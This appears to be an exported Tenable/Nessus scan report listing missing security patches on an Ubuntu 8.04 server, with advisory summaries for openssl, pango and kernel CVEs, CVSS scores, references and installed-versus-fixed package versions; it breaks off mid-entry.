## 50649 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : openssl vulnerability (USN-1018-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Rob Hulswit discovered a race condition in the OpenSSL TLS server extension parsing code when used within a threaded server. A remote attacker could trigger this flaw to cause a denial of service or possibly execute arbitrary code with application privileges.

(CVE-2010-3864).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1018-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0343

### CVSS v2.0 Base Score

7.6 (CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.6 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 44884 |
| CVE | CVE-2010-3864 |

XREF USN:1018-1

## Plugin Information

Published: 2010/11/18, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.12
```

## 52529 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : pango1.0 vulnerabilities (USN-1082-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Marc Schoenefeld discovered that Pango incorrectly handled certain Glyph Definition (GDEF) tables. If a user were tricked into displaying text with a specially crafted font, an attacker could cause Pango to crash, resulting in a denial of service. This issue only affected Ubuntu 8.04 LTS and 9.10. (CVE-2010-0421)

Dan Rosenberg discovered that Pango incorrectly handled certain FT_Bitmap objects. If a user were tricked into displaying text with a specially- crafted font, an attacker could cause a denial of service or execute arbitrary code with privileges of the user invoking the program. The default compiler options for affected releases should reduce the vulnerability to a denial of service. (CVE-2011-0020)

It was discovered that Pango incorrectly handled certain memory reallocation failures. If a user were tricked into displaying text in a way that would cause a reallocation failure, an attacker could cause a denial of service or execute arbitrary code with privileges of the user invoking the program. This issue only affected Ubuntu 9.10, 10.04 LTS and 10.10. (CVE-2011-0064).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1082-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.1099

### CVSS v2.0 Base Score

7.6 (CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

6.0 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 38760 |
| BID | 45842 |
| BID | 46632 |
| CVE | CVE-2010-0421 |
| CVE | CVE-2011-0020 |
| CVE | CVE-2011-0064 |
| XREF | USN:1082-1 |

## Plugin Information

Published: 2011/03/03, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpango1.0-0_1.20.5-0ubuntu1.1
  - Fixed package     : libpango1.0-0_1.20.5-0ubuntu1.2

  - Installed package : libpango1.0-common_1.20.5-0ubuntu1.1
  - Fixed package     : libpango1.0-common_1.20.5-0ubuntu1.2
```

## 48904 - Ubuntu 8.04 LTS : linux regression (USN-974-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-974-1 fixed vulnerabilities in the Linux kernel. The fixes for CVE-2010-2240 caused failures for Xen hosts. This update fixes the problem.

We apologize for the inconvenience.

Gael Delalleu, Rafal Wojtczuk, and Brad Spengler discovered that the memory manager did not properly handle when applications grow stacks into adjacent memory regions. A local attacker could exploit this to gain control of certain applications, potentially leading to privilege escalation, as demonstrated in attacks against the X server.

(CVE-2010-2240)

Kees Cook discovered that under certain situations the ioctl subsystem for DRM did not properly sanitize its arguments. A local attacker could exploit this to read previously freed kernel memory, leading to a loss of privacy. (CVE-2010-2803)

Ben Hawkes discovered an integer overflow in the Controller Area Network (CAN) subsystem when setting up frame content and filtering certain messages. An attacker could send specially crafted CAN traffic to crash the system or gain root privileges. (CVE-2010-2959).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/974-2/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

8.9

### EPSS Score

0.0019

## CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

## References

| | |
|---|---|
| CVE | CVE-2010-2240 |
| CVE | CVE-2010-2803 |
| CVE | CVE-2010-2959 |
| XREF | USN:974-2 |

## Plugin Information

Published: 2010/08/27, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.77

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.77


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 52475 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1072-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Gleb Napatov discovered that KVM did not correctly check certain privileged operations. A local attacker with access to a guest kernel could exploit this to crash the host system, leading to a denial of service. (CVE-2010-0435)

Dave Chinner discovered that the XFS filesystem did not correctly order inode lookups when exported by NFS. A remote attacker could exploit this to read or write disk blocks that had changed file assignment or had become unlinked, leading to a loss of privacy.

(CVE-2010-2943)

Dan Rosenberg discovered that several network ioctls did not clear kernel memory correctly. A local user could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2010-3296, CVE-2010-3297)

Dan Jacobson discovered that ThinkPad video output was not correctly access controlled. A local attacker could exploit this to hang the system, leading to a denial of service. (CVE-2010-3448)

It was discovered that KVM did not correctly initialize certain CPU registers. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-3698)

It was discovered that Xen did not correctly clean up threads. A local attacker in a guest system could exploit this to exhaust host system resources, leading to a denial of serivce. (CVE-2010-3699)

Brad Spengler discovered that stack memory for new a process was not correctly calculated. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-3858)

Dan Rosenberg discovered that the Linux kernel TIPC implementation contained multiple integer signedness errors. A local attacker could exploit this to gain root privileges. (CVE-2010-3859)

Dan Rosenberg discovered that the Linux kernel X.25 implementation incorrectly parsed facilities. A remote attacker could exploit this to crash the kernel, leading to a denial of service. (CVE-2010-3873)

Vasiliy Kulikov discovered that the Linux kernel X.25 implementation did not correctly clear kernel memory. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy.

(CVE-2010-3875)

Vasiliy Kulikov discovered that the Linux kernel sockets implementation did not properly initialize certain structures. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2010-3876)

Vasiliy Kulikov discovered that the TIPC interface did not correctly initialize certain structures. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy.

(CVE-2010-3877)

Nelson Elhage discovered that the Linux kernel IPv4 implementation did not properly audit certain bytecodes in netlink messages. A local attacker could exploit this to cause the kernel to hang, leading to a denial of service. (CVE-2010-3880)

Kees Cook and Vasiliy Kulikov discovered that the shm interface did not clear kernel memory correctly. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy.

(CVE-2010-4072)

Dan Rosenberg discovered that the USB subsystem did not correctly initialize certian structures. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy.

(CVE-2010-4074)

Dan Rosenberg discovered that the SiS video driver did not correctly clear kernel memory. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2010-4078)

Dan Rosenberg discovered that the ivtv V4L driver did not correctly initialize certian structures. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy.

(CVE-2010-4079)

Dan Rosenberg discovered that the RME Hammerfall DSP audio interface driver did not correctly clear kernel memory. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2010-4080, CVE-2010-4081)

Dan Rosenberg discovered that the semctl syscall did not correctly clear kernel memory. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2010-4083)

James Bottomley discovered that the ICP vortex storage array controller driver did not validate certain sizes. A local attacker on a 64bit system could exploit this to crash the kernel, leading to a denial of service. (CVE-2010-4157)

Dan Rosenberg discovered that the Linux kernel L2TP implementation contained multiple integer signedness errors. A local attacker could exploit this to to crash the kernel, or possibly gain root privileges.

(CVE-2010-4160)

It was discovered that multithreaded exec did not handle CPU timers correctly. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-4248).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1072-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

6.7

EPSS Score

0.035

CVSS v2.0 Base Score

7.9 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:N)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:POC/RL:OF/RC:ND)

References

| | |
|---|---|
| BID | 38607 |
| BID | 42527 |
| BID | 42582 |
| BID | 43221 |
| BID | 43229 |
| BID | 43809 |
| BID | 43810 |
| BID | 44301 |
| BID | 44354 |
| BID | 44500 |
| BID | 44630 |
| BID | 44642 |
| BID | 44648 |
| BID | 44665 |
| BID | 44762 |
| BID | 45028 |
| BID | 45039 |
| BID | 45054 |
| BID | 45058 |
| BID | 45062 |
| BID | 45063 |
| BID | 45074 |
| CVE | CVE-2010-0435 |
| CVE | CVE-2010-2943 |
| CVE | CVE-2010-3296 |
| CVE | CVE-2010-3297 |
| CVE | CVE-2010-3448 |
| CVE | CVE-2010-3698 |
| CVE | CVE-2010-3699 |
| CVE | CVE-2010-3858 |
| CVE | CVE-2010-3859 |

| | |
|---|---|
| CVE | CVE-2010-3873 |
| CVE | CVE-2010-3875 |
| CVE | CVE-2010-3876 |
| CVE | CVE-2010-3877 |
| CVE | CVE-2010-3880 |
| CVE | CVE-2010-4072 |
| CVE | CVE-2010-4074 |
| CVE | CVE-2010-4078 |
| CVE | CVE-2010-4079 |
| CVE | CVE-2010-4080 |
| CVE | CVE-2010-4081 |
| CVE | CVE-2010-4083 |
| CVE | CVE-2010-4157 |
| CVE | CVE-2010-4160 |
| CVE | CVE-2010-4248 |
| XREF | USN:1072-1 |

## Plugin Information

Published: 2011/03/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.86

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.86


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 53303 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1105-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Rosenberg discovered that multiple terminal ioctls did not correctly initialize structure memory. A local attacker could exploit this to read portions of kernel stack memory, leading to a loss of privacy. (CVE-2010-4075)

Dan Rosenberg discovered that the socket filters did not correctly initialize structure memory. A local attacker could create malicious filters to read portions of kernel stack memory, leading to a loss of privacy. (CVE-2010-4158)

Dan Rosenberg discovered that certain iovec operations did not calculate page counts correctly. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-4162)

Dan Rosenberg discovered that the SCSI subsystem did not correctly validate iov segments. A local attacker with access to a SCSI device could send specially crafted requests to crash the system, leading to a denial of service. (CVE-2010-4163, CVE-2010-4668)

Dan Rosenberg discovered multiple flaws in the X.25 facilities parsing. If a system was using X.25, a remote attacker could exploit this to crash the system, leading to a denial of service.

(CVE-2010-4164)

Alan Cox discovered that the HCI UART driver did not correctly check if a write operation was available. If the mmap_min-addr sysctl was changed from the Ubuntu default to a value of 0, a local attacker could exploit this flaw to gain root privileges. (CVE-2010-4242)

Nelson Elhage discovered that the kernel did not correctly handle process cleanup after triggering a recoverable kernel bug. If a local attacker were able to trigger certain kinds of kernel bugs, they could create a specially crafted process to gain root privileges.

(CVE-2010-4258)

Tavis Ormandy discovered that the install_special_mapping function could bypass the mmap_min_addr restriction. A local attacker could exploit this to mmap 4096 bytes below the mmap_min_addr area, possibly improving the chances of performing NULL pointer dereference attacks.

(CVE-2010-4346).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1105-1/

### Solution

Update the affected packages.

Risk Factor

High

VPR Score

6.6

EPSS Score

0.0266

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 43806 |
| BID | 44758 |
| BID | 44793 |
| BID | 45014 |
| BID | 45055 |
| BID | 45059 |
| BID | 45159 |
| BID | 45323 |
| CVE | CVE-2010-4075 |
| CVE | CVE-2010-4076 |
| CVE | CVE-2010-4077 |
| CVE | CVE-2010-4158 |
| CVE | CVE-2010-4162 |
| CVE | CVE-2010-4163 |
| CVE | CVE-2010-4164 |
| CVE | CVE-2010-4242 |
| CVE | CVE-2010-4258 |
| CVE | CVE-2010-4346 |
| CVE | CVE-2010-4668 |
| XREF | USN:1105-1 |

Exploitable With

Core Impact (true)

## Plugin Information

Published: 2011/04/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```

    - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
    - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.88

    - Installed package : linux-libc-dev_2.6.24-27.68
    - Fixed package     : linux-libc-dev_2.6.24-29.88


  Because Debian/Ubuntu linux packages increment their package name numbers as
  well as their version numbers, an update may not be available for the
  current kernel level, but the package will still be vulnerable. You may
  need to update the kernel level in order to get the latest security
  fixes available.
```

## 55094 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1133-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Nelson Elhage discovered that Econet did not correctly handle AUN packets over UDP. A local attacker could send specially crafted traffic to crash the system, leading to a denial of service.

(CVE-2010-4342)

Dan Rosenberg discovered that the OSS subsystem did not handle name termination correctly. A local attacker could exploit this crash the system or gain root privileges. (CVE-2010-4527)

Dan Rosenberg discovered that IRDA did not correctly check the size of buffers. On non-x86 systems, a local attacker could exploit this to read kernel heap memory, leading to a loss of privacy. (CVE-2010-4529)

Dan Carpenter discovered that the TTPCI DVB driver did not check certain values during an ioctl. If the dvb-ttpci module was loaded, a local attacker could exploit this to crash the system, leading to a denial of service, or possibly gain root privileges. (CVE-2011-0521).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1133-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0213

### CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

6.2 (CVSS2#E:ND/RL:OF/RC:ND)

### References

| | |
|---|---|
| BID | 45321 |
| BID | 45556 |
| BID | 45629 |
| BID | 45986 |
| BID | 46417 |
| CVE | CVE-2010-4342 |
| CVE | CVE-2010-4527 |
| CVE | CVE-2010-4529 |
| CVE | CVE-2011-0521 |
| CVE | CVE-2011-0711 |
| XREF | USN:1133-1 |

### Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.89


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 55109 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1146-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Kees Cook discovered that some ethtool functions did not correctly clear heap memory. A local attacker with CAP_NET_ADMIN privileges could exploit this to read portions of kernel heap memory, leading to a loss of privacy. (CVE-2010-4655)

Kees Cook discovered that the IOWarrior USB device driver did not correctly check certain size fields. A local attacker with physical access could plug in a specially crafted USB device to crash the system or potentially gain root privileges. (CVE-2010-4656)

Goldwyn Rodrigues discovered that the OCFS2 filesystem did not correctly clear memory when writing certain file holes. A local attacker could exploit this to read uninitialized data from the disk, leading to a loss of privacy. (CVE-2011-0463)

Jens Kuehnel discovered that the InfiniBand driver contained a race condition. On systems using InfiniBand, a local attacker could send specially crafted requests to crash the system, leading to a denial of service. (CVE-2011-0695)

Rafael Dominguez Vega discovered that the caiaq Native Instruments USB driver did not correctly validate string lengths. A local attacker with physical access could plug in a specially crafted USB device to crash the system or potentially gain root privileges. (CVE-2011-0712)

Timo Warns discovered that LDM partition parsing routines did not correctly calculate block counts. A local attacker with physical access could plug in a specially crafted block device to crash the system, leading to a denial of service. (CVE-2011-1012)

Timo Warns discovered that the LDM disk partition handling code did not correctly handle certain values. By inserting a specially crafted disk device, a local attacker could exploit this to gain root privileges. (CVE-2011-1017)

Tavis Ormandy discovered that the pidmap function did not correctly handle large requests. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2011-1593).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1146-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0044

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 45972 |
| BID | 46069 |
| BID | 46419 |
| BID | 46512 |
| BID | 46839 |
| BID | 47116 |
| BID | 47497 |
| CVE | CVE-2010-4655 |
| CVE | CVE-2010-4656 |
| CVE | CVE-2011-0463 |
| CVE | CVE-2011-0695 |
| CVE | CVE-2011-0712 |
| CVE | CVE-2011-1012 |
| CVE | CVE-2011-1017 |
| CVE | CVE-2011-1593 |
| XREF | USN:1146-1 |

### Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.90
```

```
Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 55607 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1170-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Rosenberg discovered that multiple terminal ioctls did not correctly initialize structure memory.
A local attacker could exploit this to read portions of kernel stack memory, leading to a loss of privacy.
(CVE-2010-4076, CVE-2010-4077)

It was discovered that Xen did not correctly handle certain block requests. A local attacker in a Xen guest could cause the Xen host to use all available CPU resources, leading to a denial of service.

(CVE-2010-4247)

It was discovered that the ICMP stack did not correctly handle certain unreachable messages. If a remote attacker were able to acquire a socket lock, they could send specially crafted traffic that would crash the system, leading to a denial of service. (CVE-2010-4526)

Kees Cook reported that /proc/pid/stat did not correctly filter certain memory locations. A local attacker could determine the memory layout of processes in an attempt to increase the chances of a successful memory corruption exploit. (CVE-2011-0726)

Timo Warns discovered that OSF partition parsing routines did not correctly clear memory. A local attacker with physical access could plug in a specially crafted block device to read kernel memory, leading to a loss of privacy. (CVE-2011-1163)

Timo Warns discovered that the GUID partition parsing routines did not correctly validate certain structures. A local attacker with physical access could plug in a specially crafted block device to crash the system, leading to a denial of service. (CVE-2011-1577)

Vasiliy Kulikov discovered that the AGP driver did not check certain ioctl values. A local attacker with access to the video subsystem could exploit this to crash the system, leading to a denial of service, or possibly gain root privileges. (CVE-2011-1745, CVE-2011-2022)

Vasiliy Kulikov discovered that the AGP driver did not check the size of certain memory allocations. A local attacker with access to the video subsystem could exploit this to run the system out of memory, leading to a denial of service. (CVE-2011-1746).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1170-1/

### Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

6.4

## EPSS Score

0.0206

## CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

## CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 45029 |
| BID | 45059 |
| BID | 45661 |
| BID | 46878 |
| BID | 47343 |
| BID | 47534 |
| BID | 47535 |
| BID | 47791 |
| BID | 47832 |
| BID | 47843 |
| CVE | CVE-2010-4076 |
| CVE | CVE-2010-4077 |
| CVE | CVE-2010-4247 |
| CVE | CVE-2010-4526 |
| CVE | CVE-2011-0726 |
| CVE | CVE-2011-1163 |
| CVE | CVE-2011-1577 |
| CVE | CVE-2011-1745 |
| CVE | CVE-2011-1746 |
| CVE | CVE-2011-1747 |
| CVE | CVE-2011-2022 |
| XREF | USN:1170-1 |

## Plugin Information

Published: 2011/07/18, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.91


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 55922 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1189-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the /proc filesystem did not correctly handle permission changes when programs executed. A local attacker could hold open files to examine details about programs running with higher privileges, potentially increasing the chances of exploiting additional vulnerabilities. (CVE-2011-1020)

Vasiliy Kulikov discovered that the Bluetooth stack did not correctly clear memory. A local attacker could exploit this to read kernel stack memory, leading to a loss of privacy. (CVE-2011-1078)

Vasiliy Kulikov discovered that the Bluetooth stack did not correctly check that device name strings were NULL terminated. A local attacker could exploit this to crash the system, leading to a denial of service, or leak contents of kernel stack memory, leading to a loss of privacy. (CVE-2011-1079)

Vasiliy Kulikov discovered that bridge network filtering did not check that name fields were NULL terminated. A local attacker could exploit this to leak contents of kernel stack memory, leading to a loss of privacy. (CVE-2011-1080)

Johan Hovold discovered that the DCCP network stack did not correctly handle certain packet combinations. A remote attacker could send specially crafted network traffic that would crash the system, leading to a denial of service. (CVE-2011-1093)

Peter Huewe discovered that the TPM device did not correctly initialize memory. A local attacker could exploit this to read kernel heap memory contents, leading to a loss of privacy. (CVE-2011-1160)

Dan Rosenberg discovered that the IRDA subsystem did not correctly check certain field sizes. If a system was using IRDA, a remote attacker could send specially crafted traffic to crash the system or gain root privileges. (CVE-2011-1180)

Dan Rosenberg discovered that the X.25 Rose network stack did not correctly handle certain fields. If a system was running with Rose enabled, a remote attacker could send specially crafted traffic to gain root privileges. (CVE-2011-1493)

It was discovered that Bluetooth l2cap and rfcomm did not correctly initialize structures. A local attacker could exploit this to read portions of the kernel stack, leading to a loss of privacy.

(CVE-2011-2492)

Dan Rosenberg discovered flaws in the linux Rose (X.25 PLP) layer used by amateur radio. A local user or a remote user on an X.25 network could exploit these flaws to execute arbitrary code as root.

(CVE-2011-4913)

Ben Hutchings discovered several flaws in the Linux Rose (X.25 PLP) layer. A local user or a remote user on an X.25 network could exploit these flaws to execute arbitrary code as root. (CVE-2011-4914).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1189-1/

Solution

Update the affected packages.

Risk Factor

High

VPR Score

6.6

EPSS Score

0.0128

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 46567 |
| BID | 46616 |
| BID | 46793 |
| BID | 46866 |
| BID | 46935 |
| BID | 46980 |
| BID | 48441 |
| CVE | CVE-2011-1020 |
| CVE | CVE-2011-1078 |
| CVE | CVE-2011-1079 |
| CVE | CVE-2011-1080 |
| CVE | CVE-2011-1093 |
| CVE | CVE-2011-1160 |
| CVE | CVE-2011-1180 |
| CVE | CVE-2011-1493 |
| CVE | CVE-2011-2492 |
| CVE | CVE-2011-4913 |
| CVE | CVE-2011-4914 |

| | |
|---|---|
| XREF | USN:1189-1 |

### Plugin Information

Published: 2011/08/20, Modified: 2019/10/16

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-29.93


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 56911 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1268-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that CIFS incorrectly handled authentication. When a user had a CIFS share mounted that required authentication, a local user could mount the same share without knowing the correct password.

(CVE-2011-1585)

It was discovered that the GRE protocol incorrectly handled netns initialization. A remote attacker could send a packet while the ip_gre module was loading, and crash the system, leading to a denial of service. (CVE-2011-1767)

It was discovered that the IP/IP protocol incorrectly handled netns initialization. A remote attacker could send a packet while the ipip module was loading, and crash the system, leading to a denial of service. (CVE-2011-1768)

Vasily Averin discovered that the NFS Lock Manager (NLM) incorrectly handled unlock requests. A local attacker could exploit this to cause a denial of service. (CVE-2011-2491)

Robert Swiecki discovered that mapping extensions were incorrectly handled. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2011-2496)

Ben Pfaff discovered that Classless Queuing Disciplines (qdiscs) were being incorrectly handled. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2011-2525)

Yasuaki Ishimatsu discovered a flaw in the kernel's clock implementation. A local unprivileged attacker could exploit this causing a denial of service. (CVE-2011-3209).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1268-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

## EPSS Score

0.006

## CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 47852 |
| BID | 47853 |
| BID | 48641 |
| BID | 50311 |
| CVE | CVE-2011-1585 |
| CVE | CVE-2011-1767 |
| CVE | CVE-2011-1768 |
| CVE | CVE-2011-2491 |
| CVE | CVE-2011-2496 |
| CVE | CVE-2011-2525 |
| CVE | CVE-2011-3209 |
| XREF | USN:1268-1 |

## Plugin Information

Published: 2011/11/22, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-30.96


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 57055 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1291-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

A bug was discovered in the XFS filesystem's handling of pathnames. A local attacker could exploit this to crash the system, leading to a denial of service, or gain root privileges. (CVE-2011-4077)

A flaw was found in the Journaling Block Device (JBD). A local attacker able to mount ext3 or ext4 file systems could exploit this to crash the system, leading to a denial of service. (CVE-2011-4132)

Clement Lecigne discovered a bug in the HFS file system bounds checking. When a malformed HFS file system is mounted a local user could crash the system or gain root privileges. (CVE-2011-4330).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1291-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0031

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2011-4077 |
| CVE | CVE-2011-4132 |
| CVE | CVE-2011-4330 |

| | |
|---|---|
| XREF | USN:1291-1 |

## Plugin Information

Published: 2011/12/09, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-30.97


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 58271 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1390-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Rosenberg reported errors in the OSS (Open Sound System) MIDI interface. A local attacker on non-x86 systems might be able to cause a denial of service. (CVE-2011-1476)

